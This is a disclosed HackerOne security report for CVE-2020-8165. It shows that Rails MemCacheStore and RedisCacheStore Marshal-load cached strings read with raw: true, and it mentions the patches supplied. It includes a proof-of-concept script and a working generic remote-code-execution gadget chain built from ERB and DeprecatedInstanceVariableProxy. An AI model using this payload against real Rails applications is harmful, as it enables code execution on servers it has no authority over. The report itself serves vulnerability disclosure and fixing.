Skip to content
RCE Disclosed report Advanced CVE-2020-8165

Untrusted strings that are cache fetched with raw option are automatically marshal loaded

Rails cache stores with the raw option deserialize cached strings using Marshal.load, so an attacker who can control a cached string can achieve remote code execution. The report demonstrates that a string in Marshal format is automatically unmarshalled when read with raw: true.

dylan-ts Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 20 months
  • Disclosed after 20 months

This vulnerability effects application code that caches a string from an untrusted source using the raw: true option. For example, vulnerable application code might looks something like the following

Ruby
body = Rails.cache.fetch(key, raw: true, expires_in: ttl) do
  res = Net::HTTP.get_response(remote_uri)
  res.value # raise on HTTP error
  res.body
end

where res.body represents the untrusted string in the example above. The below script shows that an untrusted string in the Marshal format will be deserialized when read using raw: true.

Ruby
require 'rails/all'

untrusted_string = Marshal.dump(:sym)

cache = ActiveSupport::Cache::MemCacheStore.new('localhost')
cache.delete("demo")
data = cache.fetch("demo", raw: true) { untrusted_string }
p data # "\x04\b:\bsym"
data = cache.fetch("demo", raw: true)
p data # :sym

This vulnerability appears to have been around for a long time, so would affect all currently supported versions of rails. I've tested with the earliest and latest supported rails version, 4.2.10 and 5.2.1 and both are affected.

The vulnerability affects both MemCacheStore and RedisCacheStore cache backends that are a part of rails, but cache stores developed outside of rails could also be vulnerable. For instance, the memcached_store has the same vulnerability as a result of replicating the behaviour of MemCacheStore.

I've attached patches to fix MemCacheStore and RedisCacheStore on master. I believe the MemCacheStore patch can be backported, since Dalli uses memcached's flags to tag keys that need marshal loading (since Dalli version 0.11.0) so can avoid unmarshalling raw strings. However, backporting RedisCacheStore could cause backwards compatibility problems with application code that writes and reads a cache key with a different raw option value, so I've included a patch to deprecate that usage in rails 5.2.

Impact

As has been demonstrated in the past, Marshal.load of an untrusted string can lead to remote code execution when done in rails without any reliance on application code.

The following script demonstrates that this is still the case and shows that a generic exploit payload can be used.

Ruby
require 'erb'
require 'rails/all'

remote_code = <<-RUBY
puts 'HACKED'
RUBY

erb = ERB.allocate
erb.instance_variable_set(:@src, remote_code)
erb.instance_variable_set(:@lineno, 0)
deprecation = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
exploit_data = Marshal.dump(deprecation)

obj = Marshal.load(exploit_data)
obj.is_a?(ActiveSupport::Cache::Entry)

So a generic exploit payload could be provided to applications to try to find if the application stores and fetches raw strings from the cache.

The original report as published on HackerOne, by dylan-ts. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Marshal.load of an untrusted string can lead to remote code execution when done in Rails without any reliance on application code.

What the attacker needed

Application caches untrusted string with raw: true; attacker can control the cached string

The fix

Patches were provided to fix MemCacheStore and RedisCacheStore on master, with a deprecation for RedisCacheStore in Rails 5.2.

How it was found

  1. Create a cache store instance (e.g., MemCacheStore).
  2. Store an untrusted string in Marshal format using fetch with raw: true.
  3. Read the same key with fetch and raw: true.
  4. Observe that the string is deserialized into a Ruby object.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When an application stores data in a cache, it sometimes marks it as 'raw' to avoid extra processing. Rails then assumes the data is safe and converts it back into a Ruby object without checking. If an attacker can make the application cache a malicious string, that conversion can run arbitrary code on the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.